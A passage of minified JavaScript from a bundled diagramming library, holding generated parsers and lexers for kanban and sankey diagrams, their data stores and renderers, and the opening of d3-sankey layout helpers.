J(Be){I.length=I.length-2*Be,E.length=E.length-Be,D.length=D.length-Be}o(J,"popStack");function ue(){var Be;return Be=L.pop()||U.lex()||G,typeof Be!="number"&&(Be instanceof Array&&(L=Be,Be=L.pop()),Be=R.symbols_[Be]||Be),Be}o(ue,"lex");for(var re,ee,Z,K,ae,Q,de={},ne,Te,q,Ve;;){if(Z=I[I.length-1],this.defaultActions[Z]?K=this.defaultActions[Z]:((re===null||typeof re>"u")&&(re=ue()),K=_[Z]&&_[Z][re]),typeof K>"u"||!K.length||!K[0]){var pe="";Ve=[];for(ne in _[Z])this.terminals_[ne]&&ne>F&&Ve.push("'"+this.terminals_[ne]+"'");U.showPosition?pe="Parse error on line "+(M+1)+`: +`+U.showPosition()+` +Expecting `+Ve.join(", ")+", got '"+(this.terminals_[re]||re)+"'":pe="Parse error on line "+(M+1)+": Unexpected "+(re==G?"end of input":"'"+(this.terminals_[re]||re)+"'"),this.parseError(pe,{text:U.match,token:this.terminals_[re]||re,line:U.yylineno,loc:Y,expected:Ve})}if(K[0]instanceof Array&&K.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Z+", token: "+re);switch(K[0]){case 1:I.push(re),E.push(U.yytext),D.push(U.yylloc),I.push(K[1]),re=null,ee?(re=ee,ee=null):(P=U.yyleng,O=U.yytext,M=U.yylineno,Y=U.yylloc,B>0&&B--);break;case 2:if(Te=this.productions_[K[1]][1],de.$=E[E.length-Te],de._$={first_line:D[D.length-(Te||1)].first_line,last_line:D[D.length-1].last_line,first_column:D[D.length-(Te||1)].first_column,last_column:D[D.length-1].last_column},oe&&(de._$.range=[D[D.length-(Te||1)].range[0],D[D.length-1].range[1]]),Q=this.performAction.apply(de,[O,P,M,j.yy,K[1],E,D].concat($)),typeof Q<"u")return Q;Te&&(I=I.slice(0,-1*Te*2),E=E.slice(0,-1*Te),D=D.slice(0,-1*Te)),I.push(this.productions_[K[1]][0]),E.push(de.$),D.push(de._$),q=_[I[I.length-2]][I[I.length-1]],I.push(q);break;case 3:return!0}}return!0},"parse")},w=(function(){var A={EOF:1,parseError:o(function(R,I){if(this.yy.parser)this.yy.parser.parseError(R,I);else throw new Error(R)},"parseError"),setInput:o(function(C,R){return this.yy=R||this.yy||{},this._input=C,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var C=this._input[0];this.yytext+=C,this.yyleng++,this.offset++,this.match+=C,this.matched+=C;var R=C.match(/(?:\r\n?|\n).*/g);return R?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),C},"input"),unput:o(function(C){var R=C.length,I=C.split(/(?:\r\n?|\n)/g);this._input=C+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-R),this.offset-=R;var L=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),I.length-1&&(this.yylineno-=I.length-1);var E=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:I?(I.length===L.length?this.yylloc.first_column:0)+L[L.length-I.length].length-I[0].length:this.yylloc.first_column-R},this.options.ranges&&(this.yylloc.range=[E[0],E[0]+this.yyleng-R]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(C){this.unput(this.match.slice(C))},"less"),pastInput:o(function(){var C=this.matched.substr(0,this.matched.length-this.match.length);return(C.length>20?"...":"")+C.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var C=this.match;return C.length<20&&(C+=this._input.substr(0,20-C.length)),(C.substr(0,20)+(C.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var C=this.pastInput(),R=new Array(C.length+1).join("-");return C+this.upcomingInput()+` +`+R+"^"},"showPosition"),test_match:o(function(C,R){var I,L,E;if(this.options.backtrack_lexer&&(E={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(E.yylloc.range=this.yylloc.range.slice(0))),L=C[0].match(/(?:\r\n?|\n).*/g),L&&(this.yylineno+=L.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:L?L[L.length-1].length-L[L.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+C[0].length},this.yytext+=C[0],this.match+=C[0],this.matches=C,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(C[0].length),this.matched+=C[0],I=this.performAction.call(this,this.yy,this,R,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),I)return I;if(this._backtrack){for(var D in E)this[D]=E[D];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var C,R,I,L;this._more||(this.yytext="",this.match="");for(var E=this._currentRules(),D=0;DR[0].length)){if(R=I,L=D,this.options.backtrack_lexer){if(C=this.test_match(I,E[D]),C!==!1)return C;if(this._backtrack){R=!1;continue}else return!1}else if(!this.options.flex)break}return R?(C=this.test_match(R,E[L]),C!==!1?C:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var R=this.next();return R||this.lex()},"lex"),begin:o(function(R){this.conditionStack.push(R)},"begin"),popState:o(function(){var R=this.conditionStack.length-1;return R>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(R){return R=this.conditionStack.length-1-Math.abs(R||0),R>=0?this.conditionStack[R]:"INITIAL"},"topState"),pushState:o(function(R){this.begin(R)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(R,I,L,E){var D=E;switch(L){case 0:return this.pushState("shapeData"),I.yytext="",24;break;case 1:return this.pushState("shapeDataStr"),24;break;case 2:return this.popState(),24;break;case 3:let _=/\n\s*/g;return I.yytext=I.yytext.replace(_,"
    "),24;break;case 4:return 24;case 5:this.popState();break;case 6:return R.getLogger().trace("Found comment",I.yytext),6;break;case 7:return 8;case 8:this.begin("CLASS");break;case 9:return this.popState(),17;break;case 10:this.popState();break;case 11:R.getLogger().trace("Begin icon"),this.begin("ICON");break;case 12:return R.getLogger().trace("SPACELINE"),6;break;case 13:return 7;case 14:return 16;case 15:R.getLogger().trace("end icon"),this.popState();break;case 16:return R.getLogger().trace("Exploding node"),this.begin("NODE"),20;break;case 17:return R.getLogger().trace("Cloud"),this.begin("NODE"),20;break;case 18:return R.getLogger().trace("Explosion Bang"),this.begin("NODE"),20;break;case 19:return R.getLogger().trace("Cloud Bang"),this.begin("NODE"),20;break;case 20:return this.begin("NODE"),20;break;case 21:return this.begin("NODE"),20;break;case 22:return this.begin("NODE"),20;break;case 23:return this.begin("NODE"),20;break;case 24:return 13;case 25:return 23;case 26:return 11;case 27:this.begin("NSTR2");break;case 28:return"NODE_DESCR";case 29:this.popState();break;case 30:R.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 31:return R.getLogger().trace("description:",I.yytext),"NODE_DESCR";break;case 32:this.popState();break;case 33:return this.popState(),R.getLogger().trace("node end ))"),"NODE_DEND";break;case 34:return this.popState(),R.getLogger().trace("node end )"),"NODE_DEND";break;case 35:return this.popState(),R.getLogger().trace("node end ...",I.yytext),"NODE_DEND";break;case 36:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 37:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 38:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 39:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 40:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 41:return R.getLogger().trace("Long description:",I.yytext),21;break;case 42:return R.getLogger().trace("Long description:",I.yytext),21;break}},"anonymous"),rules:[/^(?:@\{)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^\"]+)/i,/^(?:[^}^"]+)/i,/^(?:\})/i,/^(?:\s*%%.*)/i,/^(?:kanban\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}@]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{shapeDataEndBracket:{rules:[],inclusive:!1},shapeDataStr:{rules:[2,3],inclusive:!1},shapeData:{rules:[1,4,5],inclusive:!1},CLASS:{rules:[9,10],inclusive:!1},ICON:{rules:[14,15],inclusive:!1},NSTR2:{rules:[28,29],inclusive:!1},NSTR:{rules:[31,32],inclusive:!1},NODE:{rules:[27,30,33,34,35,36,37,38,39,40,41,42],inclusive:!1},INITIAL:{rules:[0,6,7,8,11,12,13,16,17,18,19,20,21,22,23,24,25,26],inclusive:!0}}};return A})();S.lexer=w;function k(){this.yy={}}return o(k,"Parser"),k.prototype=S,S.Parser=k,new k})();q$.parser=q$;txe=q$});var ol,Y$,W$,X$,Itt,Ott,nxe,Ptt,Btt,Ui,Ftt,$tt,ztt,Gtt,Vtt,Utt,Htt,ixe,axe=N(()=>{"use strict";Xt();gr();pt();La();w2();ol=[],Y$=[],W$=0,X$={},Itt=o(()=>{ol=[],Y$=[],W$=0,X$={}},"clear"),Ott=o(t=>{if(ol.length===0)return null;let e=ol[0].level,r=null;for(let n=ol.length-1;n>=0;n--)if(ol[n].level===e&&!r&&(r=ol[n]),ol[n].levell.parentId===i.id);for(let l of s){let u={id:l.id,parentId:i.id,label:sr(l.label??"",n),isGroup:!1,ticket:l?.ticket,priority:l?.priority,assigned:l?.assigned,icon:l?.icon,shape:"kanbanItem",level:l.level,rx:5,ry:5,cssStyles:["text-align: left"]};e.push(u)}}return{nodes:e,edges:t,other:{},config:ge()}},"getData"),Btt=o((t,e,r,n,i)=>{let a=ge(),s=a.mindmap?.padding??ur.mindmap.padding;switch(n){case Ui.ROUNDED_RECT:case Ui.RECT:case Ui.HEXAGON:s*=2}let l={id:sr(e,a)||"kbn"+W$++,level:t,label:sr(r,a),width:a.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:s,isGroup:!1};if(i!==void 0){let h;i.includes(` +`)?h=i+` +`:h=`{ +`+i+` +}`;let f=Kh(h,{schema:jh});if(f.shape&&(f.shape!==f.shape.toLowerCase()||f.shape.includes("_")))throw new Error(`No such shape: ${f.shape}. Shape names should be lowercase.`);f?.shape&&f.shape==="kanbanItem"&&(l.shape=f?.shape),f?.label&&(l.label=f?.label),f?.icon&&(l.icon=f?.icon.toString()),f?.assigned&&(l.assigned=f?.assigned.toString()),f?.ticket&&(l.ticket=f?.ticket.toString()),f?.priority&&(l.priority=f?.priority)}let u=Ott(t);u?l.parentId=u.id||"kbn"+W$++:Y$.push(l),ol.push(l)},"addNode"),Ui={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},Ftt=o((t,e)=>{switch(X.debug("In get type",t,e),t){case"[":return Ui.RECT;case"(":return e===")"?Ui.ROUNDED_RECT:Ui.CLOUD;case"((":return Ui.CIRCLE;case")":return Ui.CLOUD;case"))":return Ui.BANG;case"{{":return Ui.HEXAGON;default:return Ui.DEFAULT}},"getType"),$tt=o((t,e)=>{X$[t]=e},"setElementForId"),ztt=o(t=>{if(!t)return;let e=ge(),r=ol[ol.length-1];t.icon&&(r.icon=sr(t.icon,e)),t.class&&(r.cssClasses=sr(t.class,e))},"decorateNode"),Gtt=o(t=>{switch(t){case Ui.DEFAULT:return"no-border";case Ui.RECT:return"rect";case Ui.ROUNDED_RECT:return"rounded-rect";case Ui.CIRCLE:return"circle";case Ui.CLOUD:return"cloud";case Ui.BANG:return"bang";case Ui.HEXAGON:return"hexgon";default:return"no-border"}},"type2Str"),Vtt=o(()=>X,"getLogger"),Utt=o(t=>X$[t],"getElementById"),Htt={clear:Itt,addNode:Btt,getSections:nxe,getData:Ptt,nodeType:Ui,getType:Ftt,setElementForId:$tt,decorateNode:ztt,type2Str:Gtt,getLogger:Vtt,getElementById:Utt},ixe=Htt});var qtt,sxe,oxe=N(()=>{"use strict";Xt();pt();tu();Ei();La();cw();bw();qtt=o(async(t,e,r,n)=>{X.debug(`Rendering kanban diagram +`+t);let a=n.db.getData(),s=ge();s.htmlLabels=!1;let l=aa(e),u=l.append("g");u.attr("class","sections");let h=l.append("g");h.attr("class","items");let f=a.nodes.filter(v=>v.isGroup),d=0,p=10,m=[],g=25;for(let v of f){let x=s?.kanban?.sectionWidth||200;d=d+1,v.x=x*d+(d-1)*p/2,v.width=x,v.y=0,v.height=x*3,v.rx=5,v.ry=5,v.cssClasses=v.cssClasses+" section-"+d;let b=await Sm(u,v);g=Math.max(g,b?.labelBBox?.height),m.push(b)}let y=0;for(let v of f){let x=m[y];y=y+1;let b=s?.kanban?.sectionWidth||200,T=-b*3/2+g,S=T,w=a.nodes.filter(C=>C.parentId===v.id);for(let C of w){if(C.isGroup)throw new Error("Groups within groups are not allowed in Kanban diagrams");C.x=v.x,C.width=b-1.5*p;let I=(await Cm(h,C,{config:s})).node().getBBox();C.y=S+I.height/2,await P2(C),S=C.y+I.height/2+p/2}let k=x.cluster.select("rect"),A=Math.max(S-T+3*p,50)+(g-25);k.attr("height",A)}ic(void 0,l,s.mindmap?.padding??ur.kanban.padding,s.mindmap?.useMaxWidth??ur.kanban.useMaxWidth)},"draw"),sxe={draw:qtt}});var Wtt,Ytt,lxe,cxe=N(()=>{"use strict";eo();yg();Wtt=o(t=>{let e="";for(let n=0;nt.darkMode?Pt(n,i):Rt(n,i),"adjuster");for(let n=0;n` + .edge { + stroke-width: 3; + } + ${Wtt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .cluster-label, .label { + color: ${t.textColor}; + fill: ${t.textColor}; + } + .kanban-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } + ${zc()} +`,"getStyles"),lxe=Ytt});var uxe={};dr(uxe,{diagram:()=>Xtt});var Xtt,hxe=N(()=>{"use strict";rxe();axe();oxe();cxe();Xtt={db:ixe,renderer:sxe,parser:txe,styles:lxe}});var j$,A4,pxe=N(()=>{"use strict";j$=(function(){var t=o(function(l,u,h,f){for(h=h||{},f=l.length;f--;h[l[f]]=u);return h},"o"),e=[1,9],r=[1,10],n=[1,5,10,12],i={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SANKEY:4,NEWLINE:5,csv:6,opt_eof:7,record:8,csv_tail:9,EOF:10,"field[source]":11,COMMA:12,"field[target]":13,"field[value]":14,field:15,escaped:16,non_escaped:17,DQUOTE:18,ESCAPED_TEXT:19,NON_ESCAPED_TEXT:20,$accept:0,$end:1},terminals_:{2:"error",4:"SANKEY",5:"NEWLINE",10:"EOF",11:"field[source]",12:"COMMA",13:"field[target]",14:"field[value]",18:"DQUOTE",19:"ESCAPED_TEXT",20:"NON_ESCAPED_TEXT"},productions_:[0,[3,4],[6,2],[9,2],[9,0],[7,1],[7,0],[8,5],[15,1],[15,1],[16,3],[17,1]],performAction:o(function(u,h,f,d,p,m,g){var y=m.length-1;switch(p){case 7:let v=d.findOrCreateNode(m[y-4].trim().replaceAll('""','"')),x=d.findOrCreateNode(m[y-2].trim().replaceAll('""','"')),b=parseFloat(m[y].trim());d.addLink(v,x,b);break;case 8:case 9:case 11:this.$=m[y];break;case 10:this.$=m[y-1];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},{5:[1,3]},{6:4,8:5,15:6,16:7,17:8,18:e,20:r},{1:[2,6],7:11,10:[1,12]},t(r,[2,4],{9:13,5:[1,14]}),{12:[1,15]},t(n,[2,8]),t(n,[2,9]),{19:[1,16]},t(n,[2,11]),{1:[2,1]},{1:[2,5]},t(r,[2,2]),{6:17,8:5,15:6,16:7,17:8,18:e,20:r},{15:18,16:7,17:8,18:e,20:r},{18:[1,19]},t(r,[2,3]),{12:[1,20]},t(n,[2,10]),{15:21,16:7,17:8,18:e,20:r},t([1,5,10],[2,7])],defaultActions:{11:[2,1],12:[2,5]},parseError:o(function(u,h){if(h.recoverable)this.trace(u);else{var f=new Error(u);throw f.hash=h,f}},"parseError"),parse:o(function(u){var h=this,f=[0],d=[],p=[null],m=[],g=this.table,y="",v=0,x=0,b=0,T=2,S=1,w=m.slice.call(arguments,1),k=Object.create(this.lexer),A={yy:{}};for(var C in this.yy)Object.prototype.hasOwnProperty.call(this.yy,C)&&(A.yy[C]=this.yy[C]);k.setInput(u,A.yy),A.yy.lexer=k,A.yy.parser=this,typeof k.yylloc>"u"&&(k.yylloc={});var R=k.yylloc;m.push(R);var I=k.options&&k.options.ranges;typeof A.yy.parseError=="function"?this.parseError=A.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function L(Y){f.length=f.length-2*Y,p.length=p.length-Y,m.length=m.length-Y}o(L,"popStack");function E(){var Y;return Y=d.pop()||k.lex()||S,typeof Y!="number"&&(Y instanceof Array&&(d=Y,Y=d.pop()),Y=h.symbols_[Y]||Y),Y}o(E,"lex");for(var D,_,O,M,P,B,F={},G,$,U,j;;){if(O=f[f.length-1],this.defaultActions[O]?M=this.defaultActions[O]:((D===null||typeof D>"u")&&(D=E()),M=g[O]&&g[O][D]),typeof M>"u"||!M.length||!M[0]){var te="";j=[];for(G in g[O])this.terminals_[G]&&G>T&&j.push("'"+this.terminals_[G]+"'");k.showPosition?te="Parse error on line "+(v+1)+`: +`+k.showPosition()+` +Expecting `+j.join(", ")+", got '"+(this.terminals_[D]||D)+"'":te="Parse error on line "+(v+1)+": Unexpected "+(D==S?"end of input":"'"+(this.terminals_[D]||D)+"'"),this.parseError(te,{text:k.match,token:this.terminals_[D]||D,line:k.yylineno,loc:R,expected:j})}if(M[0]instanceof Array&&M.length>1)throw new Error("Parse Error: multiple actions possible at state: "+O+", token: "+D);switch(M[0]){case 1:f.push(D),p.push(k.yytext),m.push(k.yylloc),f.push(M[1]),D=null,_?(D=_,_=null):(x=k.yyleng,y=k.yytext,v=k.yylineno,R=k.yylloc,b>0&&b--);break;case 2:if($=this.productions_[M[1]][1],F.$=p[p.length-$],F._$={first_line:m[m.length-($||1)].first_line,last_line:m[m.length-1].last_line,first_column:m[m.length-($||1)].first_column,last_column:m[m.length-1].last_column},I&&(F._$.range=[m[m.length-($||1)].range[0],m[m.length-1].range[1]]),B=this.performAction.apply(F,[y,x,v,A.yy,M[1],p,m].concat(w)),typeof B<"u")return B;$&&(f=f.slice(0,-1*$*2),p=p.slice(0,-1*$),m=m.slice(0,-1*$)),f.push(this.productions_[M[1]][0]),p.push(F.$),m.push(F._$),U=g[f[f.length-2]][f[f.length-1]],f.push(U);break;case 3:return!0}}return!0},"parse")},a=(function(){var l={EOF:1,parseError:o(function(h,f){if(this.yy.parser)this.yy.parser.parseError(h,f);else throw new Error(h)},"parseError"),setInput:o(function(u,h){return this.yy=h||this.yy||{},this._input=u,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var u=this._input[0];this.yytext+=u,this.yyleng++,this.offset++,this.match+=u,this.matched+=u;var h=u.match(/(?:\r\n?|\n).*/g);return h?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),u},"input"),unput:o(function(u){var h=u.length,f=u.split(/(?:\r\n?|\n)/g);this._input=u+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-h),this.offset-=h;var d=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),f.length-1&&(this.yylineno-=f.length-1);var p=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:f?(f.length===d.length?this.yylloc.first_column:0)+d[d.length-f.length].length-f[0].length:this.yylloc.first_column-h},this.options.ranges&&(this.yylloc.range=[p[0],p[0]+this.yyleng-h]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(u){this.unput(this.match.slice(u))},"less"),pastInput:o(function(){var u=this.matched.substr(0,this.matched.length-this.match.length);return(u.length>20?"...":"")+u.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var u=this.match;return u.length<20&&(u+=this._input.substr(0,20-u.length)),(u.substr(0,20)+(u.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var u=this.pastInput(),h=new Array(u.length+1).join("-");return u+this.upcomingInput()+` +`+h+"^"},"showPosition"),test_match:o(function(u,h){var f,d,p;if(this.options.backtrack_lexer&&(p={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(p.yylloc.range=this.yylloc.range.slice(0))),d=u[0].match(/(?:\r\n?|\n).*/g),d&&(this.yylineno+=d.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:d?d[d.length-1].length-d[d.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+u[0].length},this.yytext+=u[0],this.match+=u[0],this.matches=u,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(u[0].length),this.matched+=u[0],f=this.performAction.call(this,this.yy,this,h,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),f)return f;if(this._backtrack){for(var m in p)this[m]=p[m];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var u,h,f,d;this._more||(this.yytext="",this.match="");for(var p=this._currentRules(),m=0;mh[0].length)){if(h=f,d=m,this.options.backtrack_lexer){if(u=this.test_match(f,p[m]),u!==!1)return u;if(this._backtrack){h=!1;continue}else return!1}else if(!this.options.flex)break}return h?(u=this.test_match(h,p[d]),u!==!1?u:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var h=this.next();return h||this.lex()},"lex"),begin:o(function(h){this.conditionStack.push(h)},"begin"),popState:o(function(){var h=this.conditionStack.length-1;return h>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(h){return h=this.conditionStack.length-1-Math.abs(h||0),h>=0?this.conditionStack[h]:"INITIAL"},"topState"),pushState:o(function(h){this.begin(h)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(h,f,d,p){var m=p;switch(d){case 0:return this.pushState("csv"),4;break;case 1:return this.pushState("csv"),4;break;case 2:return 10;case 3:return 5;case 4:return 12;case 5:return this.pushState("escaped_text"),18;break;case 6:return 20;case 7:return this.popState("escaped_text"),18;break;case 8:return 19}},"anonymous"),rules:[/^(?:sankey-beta\b)/i,/^(?:sankey\b)/i,/^(?:$)/i,/^(?:((\u000D\u000A)|(\u000A)))/i,/^(?:(\u002C))/i,/^(?:(\u0022))/i,/^(?:([\u0020-\u0021\u0023-\u002B\u002D-\u007E])*)/i,/^(?:(\u0022)(?!(\u0022)))/i,/^(?:(([\u0020-\u0021\u0023-\u002B\u002D-\u007E])|(\u002C)|(\u000D)|(\u000A)|(\u0022)(\u0022))*)/i],conditions:{csv:{rules:[2,3,4,5,6,7,8],inclusive:!1},escaped_text:{rules:[7,8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8],inclusive:!0}}};return l})();i.lexer=a;function s(){this.yy={}}return o(s,"Parser"),s.prototype=i,i.Parser=s,new s})();j$.parser=j$;A4=j$});var kC,EC,wC,Ztt,K$,Jtt,Q$,ert,trt,rrt,nrt,mxe,gxe=N(()=>{"use strict";Xt();gr();ci();kC=[],EC=[],wC=new Map,Ztt=o(()=>{kC=[],EC=[],wC=new Map,Sr()},"clear"),K$=class{constructor(e,r,n=0){this.source=e;this.target=r;this.value=n}static{o(this,"SankeyLink")}},Jtt=o((t,e,r)=>{kC.push(new K$(t,e,r))},"addLink"),Q$=class{constructor(e){this.ID=e}static{o(this,"SankeyNode")}},ert=o(t=>{t=tt.sanitizeText(t,ge());let e=wC.get(t);return e===void 0&&(e=new Q$(t),wC.set(t,e),EC.push(e)),e},"findOrCreateNode"),trt=o(()=>EC,"getNodes"),rrt=o(()=>kC,"getLinks"),nrt=o(()=>({nodes:EC.map(t=>({id:t.ID})),links:kC.map(t=>({source:t.source.ID,target:t.target.ID,value:t.value}))}),"getGraph"),mxe={nodesMap:wC,getConfig:o(()=>ge().sankey,"getConfig"),getNodes:trt,getLinks:rrt,getGraph:nrt,addLink:Jtt,findOrCreateNode:ert,getAccTitle:Mr,setAccTitle:Rr,getAccDescription:Or,setAccDescription:Ir,getDiagramTitle:Pr,setDiagramTitle:$r,clear:Ztt}});function _4(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var yxe=N(()=>{"use strict";o(_4,"max")});function dy(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var vxe=N(()=>{"use strict";o(dy,"min")});function py(t,e){let r=0;if(e===void 0)for(let n of t)(n=+n)&&(r+=n);else{let n=-1;for(let i of t)(i=+e(i,++n,t))&&(r+=i)}return r}var xxe=N(()=>{"use strict";o(py,"sum")});var Z$=N(()=>{"use strict";yxe();vxe();xxe()});function irt(t){return t.target.depth}function J$(t){return t.depth}function ez(t,e){return e-1-t.height}function D4(t,e){return t.sourceLinks.length?t.depth:e-1}function tz(t){return t.targetLinks.length?t.depth:t.sourceLinks.length?dy(t.sourceLinks,irt)-1:0}var rz=N(()=>{"use strict";Z$();o(irt,"targetDepth");o(J$,"left");o(ez,"right");o(D4,"justify");o(tz,"center")});function my(t){return function(){return t}}var bxe=N(()=>{"use strict";o(my,"constant")});function Txe(t,e){return SC(t.source,e.source)||t.index-e.index}function wxe(t,e){return SC(t.target,e.target)||t.index-e.index}function SC(t,e){return t.y0-e.y0}function nz(t){return t.value}function art(t){return t.index}function srt(t){return t.nodes}function ort(t){return t.links}function kxe(t,e){let r=t.get(e);if(!r)throw new Error("missing: "+e);return r}function Exe({nodes:t}){for(let e of t){let r=e.y0,n=r;for(let i of e.sourceLinks)i.y0=r+i.width/2,r+=i.width;for(let i of e.targetLinks)i.y1=n+i.width/2,n+=i.width}}function CC(){let t=0,e=0,r=1,n=1,i=24,a=8,s,l=art,u=D4,h,f,d=srt,p=ort,m=6;function g(){let 